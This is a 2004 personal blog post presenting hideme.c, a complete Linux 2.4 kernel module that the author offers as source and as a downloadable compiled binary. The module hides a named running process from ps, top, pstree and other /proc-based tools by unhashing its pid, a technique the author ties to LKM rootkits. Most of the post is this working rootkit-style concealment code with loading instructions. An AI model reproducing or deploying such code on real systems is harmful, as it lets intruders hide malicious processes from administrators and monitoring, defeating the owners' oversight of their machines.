June 17, 2004

Kernel module hacking    [ Software ]

I needed to find a quick 'n' dirty way to effectively hide a running process by name on a Linux 2.4 machine.   I've done some research on LKM rootkits in the past and read through the requisite articles and papers from phrack & company, so I had a fair idea of what approach to use.   I've never done any Linux kernel module programming before, so I googled around and found some useful resources.

I found some helpful code snippets, suggestions, a good HOWTO on writing kernel modules, some documentation on Linux 2.4 process management, and the excellent site at http://lxr.linux.no/source/ which lets you browse through kernel source code.   I spent a lot of time looking at sched.h in particular while I wrestled with questions like "next_task isn't in structure? Whaddaya mean?".   Turns out that the 2.6 kernel has a slighly different setup than the 2.4 kernel for iterating through processes, so I had to switch development boxes to use a 2.4 machine (since that's where it's destined to go).

You can download the code + compiled module (built on RedHat 8, kernel version 2.4.20-18.8) in .tgz format.   This module will effectively hide a named process from 'ps', 'top', 'pstree' and other utilities that rely on the /proc filesystem for process information once it's loaded. You can also browse the code below:

/* 
 * hideme.c
 *
 * Copyright (C) 2004 Eric Dobbs <edobbs (at) freemode (dot) net>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License (LICENSE file) for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, 
 * USA.
 *
 */

#include <linux/module.h>  /* Needed by all modules */
#include <linux/kernel.h>  /* Needed for KERN_ALERT */
#include <linux/init.h>  /* Needed for module_init, module_exit */
#include <linux/sched.h>  /* Needed for write_lock_irq */

#define MYMODNAME "hideme"
#define PROCNAMELEN 16

/* Function headers */
static int my_init_module(void);
static void my_cleanup_module(void);
struct task_struct *find_task_by_name(char[PROCNAMELEN]);
int hide_task(struct task_struct *);

/* ======================= Actual code ======================= */

/* What's the default process name? */
static char *procname = "foo";
/* Non-verbose by default */
static int verbose = 0;

/* Get argument if present */
/* Generally done by 'insmod ./hideme.o procname="value" verbose=1' */
MODULE_PARM (procname, "s");
MODULE_PARM (verbose, "i");

struct task_struct *find_task_by_name(char in_name[PROCNAMELEN])
{
    struct task_struct *task = current;

    do {
        if( strncmp(task->comm,in_name,PROCNAMELEN) == 0 )
            return(task);
        task = task->next_task; /* Old-style, works with 2.4-series kernels */
/*      next_task(task); */ /* New-style, works with 2.6-series kernels */
    } while(task != current);

    return(NULL);
}

int hide_task(struct task_struct *t)
{
    /* Remove process from ps listings */
    write_lock_irq(&tasklist_lock);
    unhash_pid(t);
    t->pidhash_pprev = &t->pidhash_next;
    t->pidhash_next = NULL;
    write_unlock_irq(&tasklist_lock);

    return 0;
}

static int my_init_module(void)
{
    if (verbose) {
        printk(KERN_ALERT "Module %s loaded.\n", MYMODNAME);
        printk(KERN_ALERT "%s: used %s as argument.\n", MYMODNAME, procname);
    }

    /* Do we have a matching process? */
    struct task_struct *p = NULL;
    p = find_task_by_name(procname);

    if ( p != NULL ) {
        pid_t mypid;
        mypid = p->pid;
        if (verbose)
            printk(KERN_ALERT "%s: process pid %i matches argument %s.\n",
                MYMODNAME, mypid, procname);

        hide_task(p);
        if (verbose)
            printk(KERN_ALERT "%s: hid process pid %i.\n", MYMODNAME, mypid);

    } else {
        if (verbose)
            printk(KERN_ALERT "%s: found no process matching argument %s.\n",
                MYMODNAME, procname);
    }

    /* Module won't load unless this function returns 0 */
    return 0;
}

static void my_cleanup_module(void)
{
    if (verbose)
        printk(KERN_ALERT "Module %s unloaded.\n", MYMODNAME);
}

/* Where's my entry and exit points? */
module_init(my_init_module);
module_exit(my_cleanup_module);


/* Anti-taint and module doc */
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Eric Dobbs <edobbs (at) freemode (dot) net>");
MODULE_DESCRIPTION("Process hiding module");
/* We tie into /dev/foo* devices */
MODULE_SUPPORTED_DEVICE("foo");

/* eof */
Posted by edobbs at June 17, 2004 05:58 PM
Comments
Post a comment

Note: All comments will be queued for approval prior to appearing on this site.

This isn't something that I wanted to do, but the volume of comment-spam makes it necessary.   Pending comments are reviewed whenever I post to this site.